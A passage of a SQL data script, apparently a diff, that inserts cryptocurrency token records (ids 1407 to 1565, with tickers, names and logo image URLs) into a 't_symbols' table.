'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/malwarechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1407, 'spheroid-universe', 'SPH', 'Spheroid Universe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spheroid-universe.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1408, 'cryptoverificationcoin', 'CVCC', 'CryptoVerificationCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoverificationcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1409, 'oschain', 'OSCH', 'Open Source Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oschain.png', NULL); +INSERT INTO `t_symbols` VALUES (1410, 'dacsee', 'DACS', 'DACSEE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dacsee.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1411, 'zodium-token', 'ZODI', 'Zodium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/zodium.png', NULL); +INSERT INTO `t_symbols` VALUES (1412, 'woodcoin', 'LOG', 'Woodcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/realWoodcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1413, 'walletreum', 'WALT', 'Walletreum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/walletreum.png', NULL); +INSERT INTO `t_symbols` VALUES (1414, 'darwinia-commitment-token', 'KTON', 'Darwinia Commitment', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darwinia-commitment-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1415, 'essentia', 'ESS', 'Essentia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/essentia.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1416, 'drops-ownership-power', 'DOP', 'Drops Ownership Power', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/drops-ownership-power.png', NULL); +INSERT INTO `t_symbols` VALUES (1417, 'chartex', 'CHART', 'ChartEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chartex.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1418, 'peri', 'PERI', 'PERI Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peri.png', NULL); +INSERT INTO `t_symbols` VALUES (1419, 'rentberry', 'BERRY', 'Rentberry', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rentberry.png', NULL); +INSERT INTO `t_symbols` VALUES (1420, 'ploutoztoken', 'PLO', 'ploutoztoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ploutoztoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1421, 'myriad', 'XMY', 'Myriad', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/myriad.png', NULL); +INSERT INTO `t_symbols` VALUES (1422, 'databits', 'DTB', 'Databits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/databits.png', NULL); +INSERT INTO `t_symbols` VALUES (1423, 'ofcoin', 'OF', 'Ofcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ofcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1424, 'rom', 'ROM', 'ROMToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rom.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1425, 'digix-gold-token', 'DGX', 'Digix Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digix-gold-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1426, 'seed', 'SEED', 'seed', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seed.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1427, 'chads-vc', 'CHADS', 'CHADS VC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chads-vc.png', NULL); +INSERT INTO `t_symbols` VALUES (1428, 'akropolis', 'AKRO', 'Akropolis', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3b2d7b7c70c7be4faece2ccb1d8f1dca.png', NULL); +INSERT INTO `t_symbols` VALUES (1429, 'mallcoin', 'MLC', 'Mallcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mallcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1430, 'asiadigicoin', 'ADCN', 'Asiadigicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/OfficialADCN.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1431, 'betterbetting', 'BETR', 'BetterBetting', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betterbetting.png', NULL); +INSERT INTO `t_symbols` VALUES (1432, 'pocmon', 'PMON', 'PocMon-Old', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pocmon.png', NULL); +INSERT INTO `t_symbols` VALUES (1433, 'cspian', 'CSP', 'Caspian', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cspian.png', NULL); +INSERT INTO `t_symbols` VALUES (1434, 'deephealthtoken', 'DHT', 'Deep Health Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deephealthtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1435, 'moonlight-lux', 'LX', 'Moonlight Lux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonlight-lux.png', NULL); +INSERT INTO `t_symbols` VALUES (1436, 'q-dao-governance-token', 'QDAO', 'Q DAO Governance token v1.0', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qdao.png', NULL); +INSERT INTO `t_symbols` VALUES (1437, 'spartan-protocol-token', 'SPARTA', 'Spartan Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spartan-protocol-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1438, 'tarush', 'TAS', 'TARUSH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tarush.png', NULL); +INSERT INTO `t_symbols` VALUES (1439, 'crypto-sports', 'CSPN', 'Crypto Sports', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypto-sports.png', NULL); +INSERT INTO `t_symbols` VALUES (1440, 'bread', 'BRD', 'Bread', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bread.png', NULL); +INSERT INTO `t_symbols` VALUES (1441, 'html-coin', 'HTML', 'HTMLCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/html-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1442, 'xbr', 'XBR', 'xbr', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1443, 'proxeus', 'XES', 'Proxeus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proxeus.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1444, 'ion', 'ION', 'Ion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ion.png', NULL); +INSERT INTO `t_symbols` VALUES (1445, 'constant', 'CONST', 'constant', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1446, 'crycash', 'CRC', 'CRYCASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crycash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1447, 'gst', 'GST', 'Green Satoshi Token (ETH)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gst.png', NULL); +INSERT INTO `t_symbols` VALUES (1448, 'dprating', 'RATING', 'DPRating', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dprating.png', NULL); +INSERT INTO `t_symbols` VALUES (1449, 'humaniq', 'HMQ', 'Humaniq', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/humaniq.png', NULL); +INSERT INTO `t_symbols` VALUES (1450, 'honest', 'HNST', 'Honest', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/honest.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1451, 'paypie', 'PPP', 'PayPie', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paypie.png', NULL); +INSERT INTO `t_symbols` VALUES (1452, 'ul', 'UL', 'Uselink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ul.png', NULL); +INSERT INTO `t_symbols` VALUES (1453, 'zenlink', 'ZLK', 'Zenlink Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/zenlink.png', NULL); +INSERT INTO `t_symbols` VALUES (1454, 'globalboost-y', 'BSTY', 'GlobalBoost-Y', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globalboost-y.png', NULL); +INSERT INTO `t_symbols` VALUES (1455, 'piplcoin', 'PIPL', 'PiplCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/piplcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1456, 'poseidonnetwork', 'QQQ', 'Poseidon Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poseidonnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (1457, 'hackspace-capital', 'HAC', 'Hackspace Capital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hackspace-capital.png', NULL); +INSERT INTO `t_symbols` VALUES (1458, 'uplexa', 'UPX', 'uPlexa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uplexa.png', NULL); +INSERT INTO `t_symbols` VALUES (1459, 'real', 'REAL', 'REAL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/real_token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1460, 'ipweb', 'IPWT', 'IPWeb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipweb.png', NULL); +INSERT INTO `t_symbols` VALUES (1461, 'worldcoin', 'WDC', 'WorldCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/worldcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1462, 'sessia', 'KICKS', 'Sessia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sessia.png', NULL); +INSERT INTO `t_symbols` VALUES (1463, 'nix', 'NIX', 'NIX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nix.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1464, 'sharpay', 'S', 'Sharpay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharpay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1465, 'daps', 'DAPS', 'DAPS Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/daps.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1466, 'fidextoken', 'FEX', 'FIDEX Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fidextoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1467, 'vidycoin', 'VIDY', 'VIDY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/14b1c6080c07e49b86cc06615267c722.png', NULL); +INSERT INTO `t_symbols` VALUES (1468, 'kolion', 'KLN', 'Kolion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/michael_077.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1469, 'on-live', 'ONL', 'On.Live', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/on-live.png', NULL); +INSERT INTO `t_symbols` VALUES (1470, 'cryptoping', 'PING', 'CryptoPing', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoping.png', NULL); +INSERT INTO `t_symbols` VALUES (1471, 'bavala', 'BVA', 'Bavala', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bavala.png', NULL); +INSERT INTO `t_symbols` VALUES (1472, 'level-up', 'LUC', 'Level-Up Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/level-up.png', NULL); +INSERT INTO `t_symbols` VALUES (1473, 'relevant', 'REL', 'Relevant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/relevant.png', NULL); +INSERT INTO `t_symbols` VALUES (1474, 'allive', 'ALV', 'Allive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/ea452d9c4697559d31cb2c1a56c40820.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1475, 'league-of-ancients', 'LOA', 'League of Ancients', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/league-of-ancients.png', NULL); +INSERT INTO `t_symbols` VALUES (1476, 'titcoin', 'TIT', 'Titcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/titcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1477, 'idealcash', 'DEAL', 'iDealCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/idealcash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1478, 'pton', 'PTON', 'PTON', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pton.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1479, 'master-contract-token', 'MCT', 'Master Contract Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/master-contract-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1480, 'smartcash', 'SMART', 'SmartCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartcash.png', NULL); +INSERT INTO `t_symbols` VALUES (1481, 'evimeria', 'EVI', 'Evimeria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evimeria.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1482, 'centurion', 'CNT', 'Centurion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/centurion.png', NULL); +INSERT INTO `t_symbols` VALUES (1483, 'iconiq-lab-token', 'ICNQ', 'Deutsche Digital Assets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iconiq-lab-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1484, 'sum', 'SUM', 'sum', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1485, 'compound-coin', 'COMP', 'Compound Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/CompoundCoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1486, 'swerve-dao', 'SWRV', 'Swerve', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swerve-dao.png', NULL); +INSERT INTO `t_symbols` VALUES (1487, 'hbrs', 'HB1', 'HubrisOne', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hbrs.png', NULL); +INSERT INTO `t_symbols` VALUES (1488, 'orient-walt', 'HTDF', 'Orient Walt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orient-walt.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1489, 'cpollo', 'CPLO', 'Cpollo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cpollo.png', NULL); +INSERT INTO `t_symbols` VALUES (1490, 'bmj-coin', 'BMJ', 'BMJ Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bmj-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1491, 'life', 'LIFE', 'Life Crypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/life.png', NULL); +INSERT INTO `t_symbols` VALUES (1492, 'pantheon-x', 'XPN', 'PANTHEON X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/d56f41101eca053101dd868d120ef5f8.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1493, 'aryacoin', 'AYA', 'Aryacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aryacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1494, 'terra', 'KRT', 'TerraKRW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1495, 'commerce-data-connection', 'CDC', 'CDC Foundation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commerce-data-connection.png', NULL); +INSERT INTO `t_symbols` VALUES (1496, 'seer', 'SEER', 'Seer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/info_seer.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1497, 'quanta-network-token-utility', 'QNTU', 'quanta-network-token-utility', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quanta-network-token-utility.png', NULL); +INSERT INTO `t_symbols` VALUES (1498, 'zap', 'ZAP', 'Zap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zap.png', NULL); +INSERT INTO `t_symbols` VALUES (1499, 'ros', 'ROS', 'ros', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ros.png', NULL); +INSERT INTO `t_symbols` VALUES (1500, 'genesis-vision', 'GVT', 'Genesis Vision', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/genesis-vision.png', NULL); +INSERT INTO `t_symbols` VALUES (1501, 'meetone', 'MEETONE', 'MEET.ONE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meetone.png', NULL); +INSERT INTO `t_symbols` VALUES (1502, 'graft', 'GRFT', 'Graft Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/graft.png', NULL); +INSERT INTO `t_symbols` VALUES (1503, 'stableusd', 'USDS', 'Stably USD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stableusd.png', NULL); +INSERT INTO `t_symbols` VALUES (1504, 'cofix', 'COFI', 'CoFiX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cofix.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1505, 'monetaryunit', 'MUE', 'MonetaryUnit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monetaryunit.png', NULL); +INSERT INTO `t_symbols` VALUES (1506, 'stealth', 'XST', 'Stealth', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stealth.png', NULL); +INSERT INTO `t_symbols` VALUES (1507, 'cryptoflow', 'CFL', 'Cryptoflow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptoflow.png', NULL); +INSERT INTO `t_symbols` VALUES (1508, 'euno', 'EUNO', 'EUNO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/euno.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1509, 'cat-token', 'CAT', 'Mooncat CAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cat-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1510, 'flypme', 'FYP', 'FlypMe', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/flypme.png', NULL); +INSERT INTO `t_symbols` VALUES (1511, 'gather', 'GTH', 'Gather', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gather.png', NULL); +INSERT INTO `t_symbols` VALUES (1512, 'veil-project', 'VEIL', 'VEIL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/veil-project.png', NULL); +INSERT INTO `t_symbols` VALUES (1513, 'moin', 'MOIN', 'Moin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moin.png', NULL); +INSERT INTO `t_symbols` VALUES (1514, 'renzec', 'RENZEC', 'renZEC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/renzec.png', NULL); +INSERT INTO `t_symbols` VALUES (1515, 'snl', 'SNL', 'Sport and Leisure', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snl.png', NULL); +INSERT INTO `t_symbols` VALUES (1516, 'okcash', 'OK', 'Okcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/okcash.png', NULL); +INSERT INTO `t_symbols` VALUES (1517, 'copytrack', 'CPY', 'Copytrack', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/copytrack.png', NULL); +INSERT INTO `t_symbols` VALUES (1518, 'plotx', 'PLOT', 'PlotX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plotx.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1519, 'aurigami', 'PLY', 'Aurigami', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurigami.png', NULL); +INSERT INTO `t_symbols` VALUES (1520, 'sekuritance', 'SKRT', 'Sekuritance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sekuritance.png', NULL); +INSERT INTO `t_symbols` VALUES (1521, 'yfdai-finance', 'YF-DAI', 'YfDAI.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfdai-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1522, 'exmo-coin', 'EXM', 'EXMO Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exmo-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1523, 'gse', 'GSE', 'GSENetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gse.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1524, 'blockchain-of-hash-power', 'BHP', 'Blockchain of Hash Power', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockchain-of-hash-power.png', NULL); +INSERT INTO `t_symbols` VALUES (1525, 'white-standard', 'WSD', 'White Standard', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/white-standard.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1526, 'pesetacoin', 'PTC', 'Pesetacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pesetacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1527, 'synchrobitcoin', 'SNB', 'SynchroBitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synchrobitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1528, 'bkc', 'BKC', 'bkc', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bkc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1529, 'octofi', 'OCTO', 'OctoFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/octofi.png', NULL); +INSERT INTO `t_symbols` VALUES (1530, 'dmarket', 'DMT', 'DMarket', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dmarket.png', NULL); +INSERT INTO `t_symbols` VALUES (1531, 'karbo', 'KRB', 'Karbo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/karbo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1532, 'bibox-token', 'BIX', 'Bibox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bibox-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1533, 'drp-utility', 'DRPU', 'DRP Utility', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/drp-utility.png', NULL); +INSERT INTO `t_symbols` VALUES (1534, 'project-pai', 'PAI', 'Project Pai', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/project-pai.png', NULL); +INSERT INTO `t_symbols` VALUES (1535, 'xdai-stake', 'STAKE', 'STAKE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xdai-stake.png', NULL); +INSERT INTO `t_symbols` VALUES (1536, 'kcash', 'KCASH', 'Kcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kcash.png', NULL); +INSERT INTO `t_symbols` VALUES (1537, 'yf-link', 'YFL', 'YF Link', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yf-link.png', NULL); +INSERT INTO `t_symbols` VALUES (1538, 'vibe', 'VIBE', 'VIBE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VibeHubVR.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1539, 'eosbet', 'BET', 'EarnBet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosbet.png', NULL); +INSERT INTO `t_symbols` VALUES (1540, 'fantomcoin', 'FCN', 'Fantomcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fantomcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1541, 'hyper-speed-network', 'HSN', 'Hyper Speed Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hyper-speed-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1542, 'release-coin', 'REL', 'RELEASE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/release-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1543, 'globatalent', 'GBT', 'Globatalent', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globatalent.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1544, 'swarm-fund', 'SWM', 'Swarm Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swarm-fund.png', NULL); +INSERT INTO `t_symbols` VALUES (1545, 'eos-coin', 'EOSC', 'EOSForce', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1546, 'chainport', 'PORTX', 'ChainPort', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/chainport.png', NULL); +INSERT INTO `t_symbols` VALUES (1547, 'zclassic', 'ZCL', 'Zclassic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zclassic.png', NULL); +INSERT INTO `t_symbols` VALUES (1548, 'tonarts', 'TAT', 'TonArts Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tonarts.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1549, 'scryinfo', 'DDD', 'Scry.info', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scryinfo.png', NULL); +INSERT INTO `t_symbols` VALUES (1550, 'peculium', 'PCL', 'Peculium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peculium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1551, 'metasoccer', 'MSU', 'MetaSoccer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/metasoccer.png', NULL); +INSERT INTO `t_symbols` VALUES (1552, 'buck', 'BUCK', 'BUCK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buck.png', NULL); +INSERT INTO `t_symbols` VALUES (1553, 'smoothy', 'SMTY', 'Smoothy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smoothy.png', NULL); +INSERT INTO `t_symbols` VALUES (1554, 'nebulas-token', 'NAS', 'Nebulas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nebulas-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1555, 'pbtc35a', 'PBTC35A', 'pBTC35A', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pbtc35a.png', NULL); +INSERT INTO `t_symbols` VALUES (1556, 'ucash', 'UCASH', 'U.CASH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ucash.png', NULL); +INSERT INTO `t_symbols` VALUES (1557, 'stem-cell-coin', 'SCC', 'Stem Cell Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stem-cell-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1558, 'high-performance-blockchain', 'HPB', 'High Performance Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/high-performance-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1559, 'zeitcoin', 'ZEIT', 'Zeitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zeitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1560, 'geodb', 'GEO', 'GeoDB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geodb.png', NULL); +INSERT INTO `t_symbols` VALUES (1561, 'arqma', 'ARQ', 'ArQmA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arqma.png', NULL); +INSERT INTO `t_symbols` VALUES (1562, 'wandx', 'WAND', 'WandX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wandx.png', NULL); +INSERT INTO `t_symbols` VALUES (1563, 'oechain', 'OEC', 'oechain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1564, 'scorum-coins', 'SCR', 'Scorum Coins', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SCORUM_en.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1565, 'nexium', 'NXC', 'Nexium', 